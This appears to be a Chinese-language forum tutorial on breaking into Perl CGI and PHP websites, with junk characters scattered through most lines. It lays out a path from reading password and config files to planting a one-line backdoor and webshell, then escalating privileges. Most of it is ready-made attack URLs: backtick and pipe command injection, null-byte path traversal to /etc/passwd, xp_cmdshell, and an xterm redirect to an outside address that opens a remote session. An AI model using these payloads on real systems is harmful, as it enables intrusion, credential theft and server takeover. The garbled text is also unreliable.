总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 7 B+ J9 L$ R. X }
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 ! t. _& p* f s. v( B! r
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 9 X' _$ R' {7 R! ?' l
注“
9 }! |. L5 J$ K0 sperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
5 E, f3 l/ c0 X& q9 g) C: X以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET 0 K' I1 T5 f% i5 J) |) u7 Q# ]9 Z+ Y
8 b8 I% @3 }0 O; u" w" Khttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 , B5 K- C, N7 q. m
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 5 B6 S% n" L$ g( U+ _
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 8 X/ g9 j5 F$ F. y, ^* h. }
http://target.com/cgi-bin/home/news/sub.pl?`id`
( z; n$ r( k ?' bhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` & h6 K+ ^) K2 b, z+ @2 n
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
% r$ K, B% [. Z, {% ~/ G4 h8 h- _& m0 y, m( \7 B
http://target.com/test.pl;ls|
2 l: c1 i; m3 e4 S% d ~; {http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| + I# z0 X3 e" {0 ]! f. [# c
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
4 c3 @/ p7 q; |. Y% }1 ehttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 ; D0 o# z, P4 q
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
+ q$ C+ `$ J' P) Ahttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection + k t/ {1 K* B) t
* W( ?3 K% D- q3 U4 l4 F8 \
http://target.com/test.pl?&........ /../../etc/passwd 9 H7 c+ ]$ J9 k! T0 T. C+ b8 c
7 A/ [/ z" W* ?& H
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ : v- H$ H; e; L- S: |$ b6 d
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
! X, v, Y% S& z2 |9 dhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 - S$ W/ J* \# F% I% |* e I# A
2 G# \' t. N4 ~% ]
http://www.target.org/show.php?f ... /include/config.php 查看php代码
5 H4 x$ }! F& G/ i* }http://www.target.org/show.php?f ... ng/admin/global.php 3 J, x$ r5 E3 [$ M% U
% O5 @! |9 H5 p7 r: N/ Lemm和ps的一句话
8 H4 Z2 Z8 t |2 m, f3 S
6 u# u& Y7 P/ Q, ]http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 * A0 ` q1 a1 g7 r( U/ F
) K% j8 |; k% C' x8 n- J+ w
>bbb%20| \+ q/ r Z: H% j9 [# _2 c- E9 t
, ~' J$ q* L, `* e: L' _ `0 phttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 7 ?1 m* e' E2 E. r: U
/ H9 w6 l& v; ^( Q& q- ^1 chttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 & P1 b7 [/ T5 W# ]6 q8 d
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin 1 L# I9 y% j' q, V
3 v' [' w K: c* D. o. a
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
+ F* S2 Z O9 o# ohttp://target.com/index.html#cmd.exe
; T" i2 h+ b" ]0 a8 Phttp://target.com/index.html?dummyparam=xp_cmdshell Z& r8 @8 E- k5 `
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
6 P+ S! r* ^, ~: r' Z |